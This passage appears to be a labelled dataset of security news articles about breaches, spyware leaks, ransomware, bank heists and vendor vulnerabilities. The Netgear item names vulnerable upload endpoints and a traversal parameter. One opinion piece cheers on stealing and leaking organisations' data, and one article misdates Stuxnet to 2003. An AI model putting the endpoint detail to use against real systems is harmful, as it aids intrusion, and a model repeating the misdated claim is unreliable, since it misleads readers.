It appears that the hacker, who uses the online alias DetoxRansome, was able to break into a Bitdefender server that hosted the cloud-based management dashboards for its small and medium-sized business clients, and pilfer usernames and passwords belonged to them.

They Forget to Encrypt Customers' Passwords
The most worrisome part of the BitDefender Hack – the login details were in pure unencrypted format.

The Romanian security company admitted its system was breached and said that the attack on its system didn't penetrate the server, but a security hole ""potentially enabled exposure of a few user accounts and passwords"", which could be the SQL injection vulnerability.

Hacker Demands Ransom Money....

The hackers made off with a ""very limited"" number of credentials of its customer, following rumours that they are threatening to release the leaked data publicly unless the ransom of $15,000 is paid by BitDefender.
Over the weekend, the hacker online exposed a list of usernames and passwords for more than 250 BitDefender accounts, as noted by HackerFilm.

However, the security firm has refused the demand to pay ransom to the hacker and is currently working with law enforcement to investigate the issue.
""The issue was immediately resolved, and additional security measures have been put in place to prevent its reoccurrence,"" the company's spokesperson said in a statement. ""Our investigation revealed no other server or services were impacted.""
While it is quite a good news that the BitDefender data breach is limited in scope, affecting less than one percent of its customers. However, it's really disappointing that an anti-virus company dedicated to our computer security was failed to implement necessary security measures to protect its customers data.

",Data_Breaches
"Company That Sells 'FinFisher' Spying Tool Got Hacked, 40GB Data Leaked",https://thehackernews.com/2014/08/company-that-sells-finfisher-spying.html,"FinFisher spyware, a spyware application used by government and law enforcement agencies for the purpose of surveillance, appears to have been hacked earlier this week and a string of files has been dumped on the Internet.

The highly secret surveillance software called ""FinFisher"" sold by British company Gamma International can secretly monitors computers by turning ON webcams, recording everything the user types with a keylogger, and intercepting Skype calls, copying files, and much more.

A hacker has claimed on Reddit and Twitter that they'd infiltrated the network of one of the world's top surveillance & motoring technology company Gamma International, creator of FinFisher spyware, and has exposed 40GB of internal data detailing the operations and effectiveness of the FinFisher suite of surveillance platforms.

The leaked information was published both on a parody Gamma Group Twitter account (@GammaGroupPR) and Reditt by the hacker that began publishing links to the documents and satirical tweets.

The leaked files includes client lists, price lists, source code of Web Finfly, details about the effectiveness of Finfisher malware, user and support documentation, a list of classes/tutorials, and much more.

The Reddit post Gamma International Leaked in self.Anarchism said, ""a couple days ago [when] I hacked in and made off with 40GB of data from Gamma's networks. I have hard proof they knew they were selling (and still are) to people using their software to attack Bahraini activists, along with a whole lots of other stuff in that 40GB.""

The FinFisher files were first leaked on Dropbox as a torrent file and since have been shared across the internet, which means that it is now impossible to stop the information from being leaked.

One spreadsheet in the dump titled FinFisher Products Extended Antivirus Test dated April this year, details the anti-virus detection rates of the FinFisher spyware which German based Gamma Group sold to governments and law enforcement agencies.

It shows how FinFisher performed well against 35 top antivirus products. That means FinFisher would probably not be detected by a targeted users' security systems.

One more document also dated April this year has been identified that detailed release notes, for version 4.51 of FinSpy, show a series of patches made to the products including patch to ensure rootkit component could avoid Microsoft Security Essentials, that the malware could record dual screen Windows setups, and improved email spying with Mozilla Thunderbird and Apple Mail.

The file dump also reveals that FinFisher is detected by OS X Skype (a recording prompt appears), so the users of OS X Skype would be alerted to the presence of FinFisher by a notification indicating that a recording module was installed.
FinFisher cannot tap Windows 8 users, so rather the desktop client, the users should opt for the Metro version of Skype.

The dump also contains a fake Adobe Flash Player updater, a Firefox plugin for RealPlayer and an extensive (though still undetermined) documentation for WhatsApp.
""A price list, which appeared to be a customers' record, revealed the FinSpy program cost 1.4 million Euros and a variety of penetration testing training services priced at 27,000 Euros each,"" the Reg. reported. ""The document did not contain a date but it did show prices for malware targeting the recent iOS version 7 platform.""
The leaked documents also included a FinSpy user manual and brochure. This previously kept so-called spying secret is not a secret now and we'll be going to find a lot more in the upcoming weeks. Stay Tuned!

",Malware
Microsoft remotely deleted Tor-based 'Sefnit Botnet' from more than 2 Million Systems,https://thehackernews.com/2014/01/microsoft-remotely-deleted-tor-browser.html,"In October 2013, Microsoft adopted a silent, offensive method to tackle infection due to a Tor-based botnet malware called 'Sefnit'.
In an effort to takedown of the Sefnit botnet to protect windows users, Microsoft remotely removes the older versions of installed Tor Browser software and infection from 2 Million systems, even without the knowledge of the system's owner.

Last year in August, after Snowden revelations about the National Security Agency's (NSA) Spying programs, the Internet users were under fear of being spied. During the same time Tor Project leaders noticed almost 600% increase in the number of users over the anonymizing networks of Tor i.e. More than 600,000 users join Tor within few weeks.

In September, researchers identified the major reason of increased Tor users i.e. A Tor-based botnet called 'Sefnit malware', which was infecting millions of computers for click fraud and bitcoin mining.

To achieve the maximum number of infections, cyber criminals were using several ways to spread their botnet. On later investigation, Microsoft discovered some popular softwares like Browser Protector and FileScout, bundled with vulnerable version of Tor Browser & Sefnit components.
'The security problem lies in the fact that during a Sefnit component infection, the Tor client service is also silently installed in the background. Even after Sefnit is removed, unless specific care is taken, the Tor service will be left and still regularly connect to the Tor Network.'
It was not practically possible for Microsoft or the Government to instruct each individual on 'How to remove this Malware', so finally Microsoft took the decision of remotely washing out the infections themselves.

To clean infected machines, Microsoft began updating definitions for its antimalware apps.
""We modified our signatures to remove the Sefnit-added Tor client service. Signature and remediation are included in all Microsoft security software, including Microsoft Security Essentials, Windows Defender on Windows 8, Microsoft Safety Scanner, Microsoft System Center Endpoint Protection, and Windows Defender Offline."" and later also in Malicious Software Removal Tool.
But why Tor Browser?
""Even after Sefnit is removed, unless specific care is taken, the Tor service will be left and still regularly connect to the Tor Network. This is a problem not only for the workload it applies to the Tor Network, but also for the security of these computers."" Microsoft says.
So they removed it and to Justify their action, Microsoft points out several vulnerabilities in the Tor version bundled with Sefnit malware i.e. Tor version 0.2.3.25, that opens the user to attack through these known vulnerabilities.
""Tor is a good application used to anonymous traffic and usually poses no threat. Unfortunately, the version installed by Sefnit is v0.2.3.25 – and does not self-update. The latest Tor release builds at the time of writing is v0.2.4.20.""
May be this is the right way to neutralize the infections, but the Microsoft's action also clarifies the capability to remotely remove any software from your computer.

Nicholas J. Hopper from University of Minnesota, provided a detailed explanation about 'Protecting Tor from botnet abuse in the long term' in a paper.

",Malware
Cross Platform Trojan steals Linux and Mac OS X passwords,https://thehackernews.com/2012/08/cross-platform-trojan-steals-linux-and.html,"Russian anti-virus company Doctor Web reported about the first cross-platform backdoor to run under Linux and Mac OS X identified as ""BackDoor.Wirenet.1"". This malicious program designed to steals passwords entered by the user in Opera, Firefox, Chrome, and Chromium, and passwords stored by such applications as Thunderbird, SeaMonkey, and Pidgin.

BackDoor.Wirenet.1 is the first-ever Trojan that can simultaneously work on these operating systems. BackDoor.Wirenet.1 is still under investigation.

At launch BackDoor.Wirenet.1 creates a copy in the user's home directory. To interact with the command server located at 212.7.208.65, the malware uses a special encryption algorithm Advanced Encryption Standard (AES). BackDoor.

",Malware
"UK Teenager, Aged 18, Charged With Running DDoS-For-Hire Service",https://thehackernews.com/2017/07/ddoS-for-hire-service-hack.html,"A teenage student has been charged with running a supplying malware that was used for launching distributed denial of service (DDoS) attacks against websites of some of the world's leading businesses.

Jack Chappell, an 18-year-old teenager from Stockport, is accused of helping cyber criminals with his DDoS booter service (DDoS-for-hire service) to flood millions of websites around the world with the massive amount of data and eventually bring them down, making them unavailable to their users.

Among the victims that were allegedly attacked by Chappell's malware are the National Crime Agency (NCA), T-Mobile, O2, Virgin Media, the BBC, Amazon, Vodafone, BT, Netflix, and NatWest that had its online banking systems down in a 2015 cyber attack.

Chappell is charged following an investigation led by the West Midlands Regional Cyber Crime Unit and assisted by Israeli Police, the Federal Bureau of Investigation (FBI) and Europol's European Cybercrime Centre (EC3).

According to authorities, the teenager rented his DDoS-for-hire service to criminals and also ran an online helpdesk for would-be hackers as part of his operation.

""He has been charged with impairing the operation of computers under the Computer Misuse Act, plus encouraging or assisting an offense and money laundering crime proceeds together with an American national,"" West Midlands Police said in a statement.

Chappell is due to appear at Manchester Magistrates' Court on July 4, Tuesday.

Late last year, another 19-year-old student from Hertford (Town in the UK) was pled guilty for running Titanium Stresser DDoS-for-hire service, one of the most popular DDoS booter tool that was used to launch over 1.7 Million DDoS attacks worldwide and brought him an income of more than US$385,000.

",Cyber_Attack
New Ransomware Threatens to Send Your Internet History & Private Pics to All Your Friends,https://thehackernews.com/2017/07/leakerlocker-android-ransomware.html,"After WannaCry and Petya ransomware outbreaks, a scary (but rather creative) new strain of ransomware is spreading via bogus apps on the Google Play Store, this time targeting Android mobile users.

Dubbed LeakerLocker, the Android ransomware does not encrypt files on victim's device, unlike traditional ransomware, rather it secretly collects personal images, messages and browsing history and threatens to share it to their contacts if they don't pay $50 (£38).

Researchers at security firm McAfee spotted the LeakerLocker ransomware in at least two apps — Booster & Cleaner Pro and Wallpapers Blur HD — in the Google Play Store, both of which have thousands of downloads.

To evade detection of malicious functionality, the apps initially don't contain any malicious payload and typical function like legitimate apps.

But once installed by users, the apps load malicious code from its command-and-control server, which instructs them to collect a vast number of sensitive data from the victim's phone — thanks to its victims granting unnecessary permissions blindly during installation.

The LeakerLocker ransomware then locks the home screen and displays a message that contains details of the data it claims to have stolen and holds instructions on how to pay the ransom to ensure the information is deleted.

The ransom message reads:
All personal data from your smartphone has been transferred to our secure cloud.


In less than 72 hours this data will be sent to every person on your telephone and email contacts list. To abort this action you have to pay a modest ransom of $50 (£38).


Please note that there is no way to delete your data from our secure but paying for them. Powering off or even damaging your smartphone won't affect your data in the cloud.

Although the ransomware claims that it has taken a backup of all of your sensitive information, including personal photos, contact numbers, SMS', calls and GPS locations and browsing and correspondence history, researchers believe only a limited amount of data on victims is collected.

According to researchers, LeakerLocker can read a victim's email address, random contacts, Chrome history, some text messages and calls, take a picture from the camera, and read some device information.

All the above information is randomly chosen to display on the device screen, which is enough to convince the victims that lots of data have been copied.

Both malicious apps have since been removed by Google from the Play Store, but it is likely that hackers will try to smuggle their software into other apps.

If you have installed any of the two apps, uninstall it right now.

But if you are hit by the ransomware and are worried about your sexy selfies and photographs being leaked to your friends and relatives, you might be thinking of paying a ransom.

Do not pay the Ransom! Doing so motivates cyber criminals to carry out similar attacks, and there is also no guarantee that the stolen information will be deleted by the hackers from their server and will not be used to blackmail victims again.

",Cyber_Attack
Cisco patch serious Vulnerability in Data Center Network Manager,https://thehackernews.com/2012/10/cisco-patch-serious-vulnerability-in.html,"Cisco Prime DCNM is a management tools for your Storage and Ethernet Networks, provides a robust framework and comprehensive feature set that meets the routing, switching, and storage administration needs of present and future virtualized data centers.

According to an advisory released, Cisco Prime Data Center Network Manager (DCNM) contains a remote command execution vulnerability that may allow a remote, unauthenticated attacker to execute arbitrary commands on the computer that is running the Cisco Prime DCNM application.

The vulnerability exists because JBoss Application Server Remote Method Invocation (RMI) services, specifically the jboss.system:service=MainDeployer functionality, are exposed to unauthorized users.

All Cisco Prime Data Center Network Manager releases prior to release 6.1(1), for both the Microsoft Windows and Linux platforms, are affected by this vulnerability.

Successful exploitation of the vulnerability may allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system that hosts the Cisco Prime DCNM application in the context of the System user for Cisco Prime DCNM running on Microsoft Windows) or the root user for Cisco Prime DCNM running on Linux.

Cisco has released free software updates that address this vulnerability.

Update: Another Advisory from Cisco reporting a SQL injection and buffer overrun vulnerability in Cisco Unified MeetingPlace Web Conferencing product. SQL Injection Vulnerability may allow an unauthenticated, remote attacker to send Structured Query Language (SQL) commands to manipulate the MeetingPlace database stores information about server configuration, meetings, and users. These commands may be used to create, delete, or alter some of the information in the Cisco Unified MeetingPlace Web Conferencing database.

Affected versions are Prior to 7.0 ,7.0 ,7.1 ,8.0 and 8.5. Cisco has released free software updates that address the vulnerabilities described in this advisory.

",Vulnerability
Stolen D-Link Certificate Used to Digitally Sign Spying Malware,https://thehackernews.com/2018/07/digital-certificate-malware.html,"Digitally signed malware has become much more common in recent years to mask malicious intentions.

Security researchers have discovered a new malware campaign misusing stolen valid digital certificates from Taiwanese tech-companies, including D-Link, to sign their malware and making them look like legitimate applications.

As you may know, digital certificates issued by a trusted certificate authority (CA) are used to cryptographically sign computer applications and software and are trusted by your computer for execution of those programs without any warning messages.

However, malware author and hackers who are always in search of advanced techniques to bypass security solutions have seen been abusing trusted digital certificates in recent years.

Hackers use compromised code signing certificates associated with trusted software vendors in order to sign their malicious code, reducing the possibility of their malware being detected on targeted enterprise networks and consumer devices.

Security researchers from ESET have recently identified two malware families, previously associated with cyberespionage group BlackTech, that have been signed using valid digital certificates belonging to D-Link networking equipment manufacturer and another Taiwanese security company called Changing Information Technology.

The first malware, dubbed Plead, is a remotely controlled backdoor designed to steal confidential documents and spy on users.

The second malware is also a related password stealer designed to collect saved passwords from Google Chrome, Microsoft Internet Explorer, Microsoft Outlook, and Mozilla Firefox.

Researchers notified both D-link and Changing Information Technology about the issue, and the companies revoked the compromised digital certificates on July 3 and July 4, 2018, respectively.

Since most antivirus software fails to check the certificate's validity even when companies revoke the signatures of their certificates, the BlackTech hackers are still using the same certificates to sign their malicious tools.
""The ability to compromise several Taiwan-based technology companies and reuse their code-signing certificates in future attacks shows that this group is highly skilled and focused on that region,"" the researchers said.
It is not the first time when hackers have used valid certificates to sign their malware. The infamous Stuxnet worm that targeted Iranian nuclear processing facilities in 2003 also used valid digital certificates.

Also, the 2017 CCleaner hack, wherein hackers replaced the original CCleaner software with the tainted downloads, was made possible due to digitally-signed software update.

",Cyber_Attack
Official Android Market host many Malware Games,https://thehackernews.com/2011/12/official-android-market-host-many.html,"Official Android Market host many Malware Games

F-Secure researchers recently found malware in the Android Market disguised as free versions of popular games. Disguising malware as a free version of a popular game (such as Cut the Rope and Assassin's Creed) seems to be a popular tactic that the bad guys are using to scam users of Google's Android Market app store. Overnight more malware appeared in Google's official app repository.

The Trojanized games have been uploaded by a company calling itself Eldar Limited. This is the second time in two weeks malware disguised as free games has been uploaded to the Android Market.

Google's app police managed to detect this fraud and quickly removed it from the Android Market. While the apps are still listed on AppBrain and AndroidZoom, the links will direct users back to the official Android Market where they have already been removed.

""These have now been removed by Google, but their appearance in the official Android Market in the first place is worrying. Not only is Google putting Android users into contact with malware, it is also allowing the brand names of reputable companies to be tarnished by letting the bad guys upload this stuff to the Android Market in the first place."" Zdnet posted.

F-Secure posted a tip to help you figure out whether a free app is genuine or not :
A useful tip for users out there is to search for the paid version of the app and take note of the developer's name. If the name on both paid and free versions matches, then it is very likely to be a safe app. Otherwise, don't proceed with the download.

",Malware
Exploit-Selling Firm Kept Internet Explorer Zero-Day Vulnerability Hidden for 3 Years,https://thehackernews.com/2014/07/exploit-selling-firm-kept-internet.html,"A French information security company VUPEN has recently disclosed that it held onto a serious Internet Explorer (IE) vulnerability for at least three years before revealing it at the Pwn2Own hacker competition held in March this year.

The critical zero-day vulnerability affected versions 8, 9, 10 and 11 of Internet Explorer browser that allowed attackers to remotely bypass the IE Protected Mode sandbox. An attacker can exploit this issue to gain elevated privileges.

VULNERABILITY DISCLOSURE TIMELINE
According to a disclosure made by the security company last week, the vulnerability with ID CVE-2014-2777 was discovered by the company on 12 February 2011, which was patched by Microsoft last month.
12 February 2011 - IE Zero-day discovered by Vupen.
13 March 2014 - Vupen reported to Microsoft.
11 June 2014 - Microsoft Released patch and publicly released the advisory.

Sandbox is security mechanism used to run an application in a restricted environment. If an attacker is able to exploit the browser in a way that lets him run arbitrary code on the machine, the sandbox would help prevent this code from causing damage to the system. So, if attackers are able to bypass the sandbox mechanism, they could run malicious code on the victim's machine.
""The vulnerability is caused due to an invalid handling of a sequence of actions aimed to save a file when calling 'ShowSaveFileDialog()', which could be exploited by a sandboxed process to write files to arbitrary locations on the system and bypass IE Protected Mode sandbox,"" wrote the company.
BAZAR OF ZERO-DAY EXPLOITS
VUPEN's specialty is in discovering zero-day vulnerabilities in software from major producers in order to sell the exploits to the highest bidder, typically to law enforcement and government intelligence agencies, and HP's Zero Day Initiative.

VUPEN also exploited several targets in March Pwn2Own competition, including Chrome, Adobe Flash and Adobe Reader, and Microsoft's Internet Explorer, taking home $400,000 of the total contest payout.

MICROSOFT ALSO KEPT SOMETHING HIDDEN
Microsoft also kept hidden a critical Zero-Day vulnerability of Internet explorer 8 from all of us, since October 2013, which was a zero day remote code execution flaw that affected the Internet Explorer version 8 and allowed a remote attacker to execute arbitrary code through a bug in CMarkup objects.

Now, the question arises — Does Microsoft keep these critical vulnerability hidden in its browser intentionally? or Does Microsoft not care about the security of its users that its security team left three years old vulnerability undiscovered?

VULNERABILITY ON PLANET MARS
Last month a 20 year-old critical subtle integer overflow vulnerability was discovered in the Lempel-Ziv-Oberhumer (LZO), an extremely efficient data compression algorithm that focuses on decompression speed, which is almost five times faster than zlib and bzip compression algorithms.

The most popular algorithm is used in the Linux kernel, some Samsung Android mobile devices, other embedded devices and several open-source libraries including OpenVPN, MPlayer2, Libav, FFmpeg. It even made its way onto the Mars Curiosity rover.

",Vulnerability
"Android Smishing Vulnerability, an intelligent exploitation by Malicious Apps",https://thehackernews.com/2012/11/android-smishing-vulnerability.html,"Your android device allows you to connect with anyone at anytime, if they are available. Mobile-enhanced shopping and banking sites gives you freedom to buy anything - anywhere. You have millions of applications, that you can install to pimp up your device. But same applications can exploit your business and personal life by stealing your personal information by various intelligent methods.

Researchers at NC State University has uncovered a new vulnerability that expose smishing and vishing threats for Android users. I think you need to know about Smishing first,so it is where the mobile phone user will receive a text message. This text message only purpose is to get the user to click on the link. If you click on the link, you may inadvertently be downloading a Trojan horse, virus, or other malicious malware.

So, researchers found a new way to do such phishing attacks using fake sms, If an Android user downloads an infected app, the attacking program can make it appear that the user has received an SMS, or text, message from someone on the phone's contact list or from trusted banks. This fake message can solicit personal information, such as passwords for user accounts.

Video Demonstration:

Researchers notified the Google Android Security Team about the vulnerability. One serious aspect of the vulnerability is that it does not require the (exploiting) app to request any permission to launch the attack.

Before the ultimate fix is out, this threat can be mitigated in several ways. For example, users are encouraged to be cautious when downloading and installing apps (particularly from unknown sources). As always, it is important to pay close attention to received SMS text messages, in order to avoid being duped by possible phishing attacks.

",Vulnerability
U.S. Treasury Sanctions Hacking Group Backed by Iranian Intelligence,https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html,"The U.S. government on Thursday imposed sweeping sanctions against an Iranian threat actor backed by the country's Ministry of Intelligence and Security (MOIS) for carrying out malware campaigns targeting Iranian dissidents, journalists, and international companies in the telecom and travel sectors.
According to the U.S. Treasury and the Federal Bureau of Investigation (FBI), the sanctions target Rana Intelligence Computing Company (or Rana), which the agencies said operated as a front for the threat group APT39 (aka Chafer or Remix Kitten), Iranian cyber espionage hacking collective active since 2014 known for its attacks on companies in the U.S. and the Middle East with an aim to pilfer personal information and advance Iran's national security objectives.
To that effect, 45 individuals who served in various capacities while employed at the front company, including as managers, programmers, and hacking experts, have been implicated in the sanctions, which also prohibit U.S. companies from doing business with Rana and its employees.
""Masked behind its front company, Rana Intelligence Computing Company (Rana), the Government of Iran's Ministry of Intelligence and Security (MOIS) has employed a years-long malware campaign that targeted and monitored Iranian citizens, dissidents, and journalists, the government networks of Iran's neighboring countries, and foreign organizations in the travel, academic, and telecommunications sectors,"" the FBI said.
Rana is also believed to have targeted Iranian private sector companies and academic institutions, including Persian language and cultural centers inside and outside the country.


APT39's Long History of Espionage Activities
APT39 has a history of hacking into targets spanning over 30 countries in the Middle East, North Africa, and Central Asia, and at least 15 U.S. companies in the travel sector have been compromised by Rana's malware, using the unauthorized access to track the movements of individuals whom MOIS considered a threat.
Earlier this May, Bitdefender uncovered two cyberattacks directed against critical infrastructures in Kuwait and Saudi Arabia, compromising its victims via spear-phishing emails containing malicious attachments and using various intrusion tools to gain an initial foothold and collect sensitive data from infected systems.
Aside from formally connecting the activities of APT39 to Rana, the FBI detailed eight separate and distinct sets of previously undisclosed malware used by the group to conduct their computer intrusion and reconnaissance activities, which comprises of:
Microsoft Office documents laced with Visual Basic Script (VBS) malware sent via social engineering techniques
Malicious AutoIt malware scripts embedded in Microsoft Office documents or malicious links
Two different versions of BITS malware to aggregate and exfiltrate victim data to an actor-controlled infrastructure
A screenshot and keylogger utility that masqueraded as legitimate Mozilla Firefox browser
A Python-based downloader to fetch additional malicious files to the victim machine from a command-and-control (C2) server
An Android implant (""optimizer.apk"") with information-stealing and remote access capabilities
""Depot.dat"" malware for collecting screenshots and capturing keystrokes and transmitting the information to a remote server under their control


A Series of Charges Against Iranian Hackers
The sanctions against APT39 is the latest in a string of actions undertaken by the U.S. government over the last few days against Iran, which also encompasses charges against three hackers for engaging in a coordinated campaign of identity theft and hacking on behalf of Iran's Islamic Revolutionary Guard Corps (IRGC) to steal critical information related to U.S. aerospace and satellite technology companies.
Last but not least, the Cybersecurity Security and Infrastructure Security Agency (CISA) warned of an Iran-based malicious cyber actor targeting several U.S. federal agencies by exploiting unpatched VPN vulnerabilities to amass sensitive data and even sell access to the compromised network infrastructure in an online hacker forum.
""This week's unsealing of indictments and other disruptive actions serves as another reminder of the breadth and depth of Iranian malicious cyber activities targeting not only the United States, but countries all over the world,"" John C. Demers, Assistant Attorney General for National Security, said in a statement.
""Whether directing such hacking activities, or by offering a safe haven for Iranian criminal hackers, Iran is complicit in the targeting of innocent victims worldwide and is deepening its status as a rogue state.""

",Cyber_Attack
Anonymous Surpasses Wikileaks !,https://thehackernews.com/2011/02/anonymous-surpasses-wikileaks.html,"The exploits of Anonymous to hack the systems of firms providing spying services to governments and corporations suggest that the WikiLeaks mini-era has been surpassed.
Much of WikiLeaks promise to protect sources is useless if the sources are not whistleblowers needing a forum for publication. Instead publishers of secret information grab it directly for posting to Torrent for anybody to access without mediation and mark-up by self-esteemed peddlers of protection, interpretationa and authentication, including media cum scholars.
Ars Technica descriptions of the how the Anonymous hack are the best technical reading of Internet derring-do yet and far exceeds the much simpler rhetorical version of WikiLeaks security carefully bruited as if invulnerable but is not according to Daniel Domscheit-Berg's revelations.
AnonLeaks.ru is a remarkable advance of WikiLeaks. And promises much more by the same means and methods most associated with official spies -- NSA and CIA have long run the Special Collections Service to do exactly that kind of criminal aggression, along with black bag burglaries, surveillance and bugging. Contractors hiring ex-spies do much of this highly classified work as well and invent and supply the gadgets and front organizations required.
Not least of importance of the Anonymous hack and the many preceding it is the revelation of how commercial firms have been exploiting public ignorance of their spying capacity. That they are themselves vulnerable is a surprise to them, as it must be to those who hire them and, in the case of governments, provide legal cover for criminal actions.
This is not news, to be sure, for it has been alleged and reported on for decades but mostly in technical journals and conferences where offerers strut their malwares to buyers of perfidium.
Imagine that instead of the many iterations of Wikileaks now appearing to receive and publish documents, that more of the Anonymous-type hacks simply steal and torrent the family jewels of the spies, officials, lobbyists and corporations believing they own the territory in order to show the extent of their secret predations on the public.
The digitization of vast archives of government, commercial and non-governmental organizations to facilitate their hegemony provides a bounty to be hacked repeatedly despite attempts to prevent it by vainly inept cybersecurity agencies and firms.
The cyber-racket cartel will yell, hit the Internet Switch. Too late, too late. Anonymous controls the switch. Sure, Anonymous can be compromised with sufficient hostile and friendly inducements, but so can the predators, perhaps moreso the latter now revealed to be vulnerable.
Venerable Anonymous and the promise it offers surpasses the Nymous authoritatives of secrecy frantically attempting to ban its greatest threat.
For honoring the WL era bestow on Julian Assange, the WL Four and Bradley Manning Medals of Freedom and spy-grade lifetime pensions for initiating the rise of Unnameables worldwide.
Coda: Cryptome and reportedly John Young's private network were hacked in October 2010. Thugs Corey ""Xyrix"" Barnhill, Michael ""Virus"" Nieves, Justin ""Null"" Perras are still bragging about it on hacker forums. So prepare for exposure no matter illusory protection by law and technology.

",Malware
Warning: Beware of Post-Election Phishing Emails Targeting NGOs and Think Tanks,https://thehackernews.com/2016/11/election-trump-phishing-malware.html,"Just a few hours after Donald Trump won the 2016 US Presidential Election, a hacking group launched a wave of cyber attacks targeting U.S.-based policy think-tanks with a new spear phishing campaign designed to fool victims into installing malware.

The group of nation-state hackers, also known as Cozy Bear, APT29, and CozyDuke, is the one of those involved in the recent data breach of the Democratic National Committee (DNC) and is allegedly tied to the Russian government.

On Wednesday, the hackers sent a series of phishing emails to dozens of targets associated with non-governmental organizations (NGOs), policy think tanks in the US and even inside the US government, said security firm Volexity.

Phishing Attacks Powered by 'PowerDuke' Malware
The phishing emails were sent from purpose-built Gmail accounts and other compromised email accounts at Harvard University's Faculty of Arts and Sciences (FAS), trying to trick victims into opening tainted attachments containing malware and clicking on malicious links.

Once this was done, the phishing e-mail dropped a new variant of Backdoor malware, dubbed ""PowerDuke,"" giving attackers remote access to the compromised systems.

PowerDuke is an extremely sophisticated piece of malware in both its way of infecting people as well as concealing its presence.

Besides making use of wide variety of approaches, PowerDuke uses steganography to hide its backdoor code in PNG files.

The firm spotted and reported at least five waves of phishing attacks targeting people who work for organizations, including Radio Free Europe/Radio Liberty, the RAND Corporation, the Atlantic Council, and the State Department, among others.
""Three of the five attack waves contained links to download files from domains that the attackers appear to have control over,"" the firm said in a blog post. ""The other two attacks contained documents with malicious macros embedded within them. Each of these different attack waves was slightly different from one another.""

Beware of Post-Election Themed Phishing Emails
All the phishing emails were election-themed. Why?

After Trump won the US presidential election, half of America, as well as people across the world, mourning the result was curious to know about the victory of Trump.

People even started searching on Google: How did Donald Trump win the US presidential election?, Were the election flawed? Why did Hillary Clinton lose?

Hackers took advantage of this curiosity to target victims, especially those who worked with the United States government and were much more concerned about Trump's victory.

Two of the emails claimed to have come from the Clinton Foundation giving insight of the elections, two others purported to be documents pertaining to the election's outcome being revised or rigged, and the last one offered a link to a PDF download on 'Why American Elections Are Flawed.'

The emails were sent using the real email address of a professor at Harvard, which indicates that the hackers likely hacked the professor's email and then used his account to send out the phishing emails.

The emails either contained malicious links to .ZIP files or included malicious Windows shortcut files linked to a ""clean"" Rich Text Format document and a PowerShell script.

Once clicked, the script installed PowerDuke on a victim's computer that could allow attackers to examine and control the target system. The malware has the capability to secretly download additional malicious files and evade detection from antivirus products.

Security firm CrowdStrike claimed in June 2016 that the hacking team Cozy Bear has previously hacked into networks belonging to the White House, State Department, and the United States Joint Chiefs of Staff.

",Malware
Critical Flaws Found in NETGEAR Network Management System,https://thehackernews.com/2016/02/network-management-system.html,"Netgear, one of the most popular router manufacturers, has been vulnerable to two different flaws that could allow hackers to compromise your corporate network and connected devices.

Reported critical vulnerabilities reside in the Netgear's ProSafe NMS300 Model (Network Management System) – a centralized and comprehensive management application for network administrators that enables them to discover, monitor, configure, and report on SNMP-based enterprise-class network devices.

SNMP (Simple Network Management Protocol) is a network management protocol which facilitates Netgear's ProSafe NMS300 application to gather data from various network devices such as servers, printers, hubs, switches, and routers.

Remotely collected data includes CPU load, routing tables, and network traffic statistics.

Serious Flaws in Network Management System
A joint security dug conducted by Pedro Ribeiro (Security Researcher of UK Based firm Agile Information) along with CERT Committee divulged the vulnerabilities in the web interface of the router that could allow attackers to:
Upload and Execute any malicious file remotely (CVE-2016-1524)
Download any file from Server (CVE-2016-1525)
Unauthorized Arbitrary File Upload Flaw: This flaw comes with the default installation of NMS300, allowing an unauthorized attacker to upload an arbitrary file and execute (Remote Code Execution) malicious code with SYSTEM privileges.
Upload location: https://:8080/fileUpload.do
Upload location: https://:8080/lib-1.0/external/flash/fileUpload.do
Execurition Location: https://:8080/null
Directory Traversal Attack: This vulnerability allows authenticated users to read and download any restricted file by manipulating 'realName' parameter of POST request to https://:8080/data/config/image.do?method=add URL.

The security vulnerabilities affect Netgear Management System NMS300, version 1.5.0.11 and earlier.

How to Protect Your Network from Hackers

Since there are no patches yet available from Netgear to fix these vulnerabilities, the only solution that network admins could implement here is strengthening the firewall policy by restricting the untrusted sources.

As threats continue to evolve and increase in volume and frequency, you can no longer rely on static network security monitoring.

Network administrators are strongly encouraged to monitor network-based services or protocols on a continuous basis using security monitoring solutions like AlienVault Unified Security Management (USM), which also includes intrusion detection (IDS) and real-time threat intelligence to help administrators to quickly identify and remediate threats on their network.

Netgear had not yet commented to this issue.

",Vulnerability
How Did Hackers Who Stole $81 Million from Bangladesh Bank Go Undetected?,https://thehackernews.com/2016/04/swift-bank-hack.html,"In Brief
Investigators from British defense contractor BAE Systems discovered that hackers who stole $81 million from the Bangladesh Central Bank actually hacked into software from SWIFT financial platform, a key part of the global financial system.

The hackers used a custom-made malware to hide evidence and go undetected by erasing records of illicit transfers with the help of compromised SWIFT system.

The Bangladesh Bank hackers, who managed to steal $81 Million from the bank last month in one of the largest bank heists in history, actually made their tracks clear after hacking into SWIFT, the heart of the global financial system.

SWIFT, stands for the Society for Worldwide Interbank Financial Telecommunications, is a global messaging network used for most international money and security transfers.

More than 11,000 Global Banks on HIGH ALERT!
Nearly 11,000 Banks and other financial institutions around the World use SWIFT system to send securely and receive payment instructions through a standardized system of codes.

Recently, Bangladesh police investigators uncovered evidence revealing that the Bank was using second-hand $10 network switches without a Firewall to run its network, which offered hackers access to the bank's entire infrastructure, including the SWIFT servers.

Now, researchers from British defense contractor BAE Systems reported Monday that the Bangladesh Bank hackers used a piece of sophisticated, custom-made malware to manipulate logs and erase the history of the fraudulent transactions, which even prevent printers from printing the fraudulent transactions.

The malware also has the capability to intercept and destroy incoming messages confirming the money transfers. These malware capabilities prevented hackers to remain undetected.
""This malware appears to be just part of a wider attack toolkit and would have been used to cover the attackers' tracks as they sent forged payment instructions to make the transfers,"" security researcher Sergei Shevchenko wrote in a blog post.
When and How Did They Get Detected?
The hackers had attempted to steal $951 Million in total from Bangladesh central bank account at the Federal Reserve Bank of New York using fraudulent transactions, but a simple typo (spell error) by hackers halted the further transfers of the $850 Million funds.

The BAE researchers believe the malware used to target Alliance Access, a piece of software that allows banks to connect to the SWIFT network.

According to SWIFT's official website, Alliance Access has more than 2,000 installations worldwide. So even though the SWIFT financial system is used by around 11,000 banks and financial institutions, all of them are not affected by the notorious malware.
""By modifying the local instance of SWIFT Alliance Access software, the malware grants itself the ability to execute database transactions within the victim network,"" Shevchenko said.
SWIFT To Issue Emergency Security Update
Meanwhile, Brussels-based SWIFT confirmed to Reuters that the company was aware of the nasty malware used to target its client software and that it would roll out a security software update on Monday to fix the issue, along with a special warning to financial institutions.

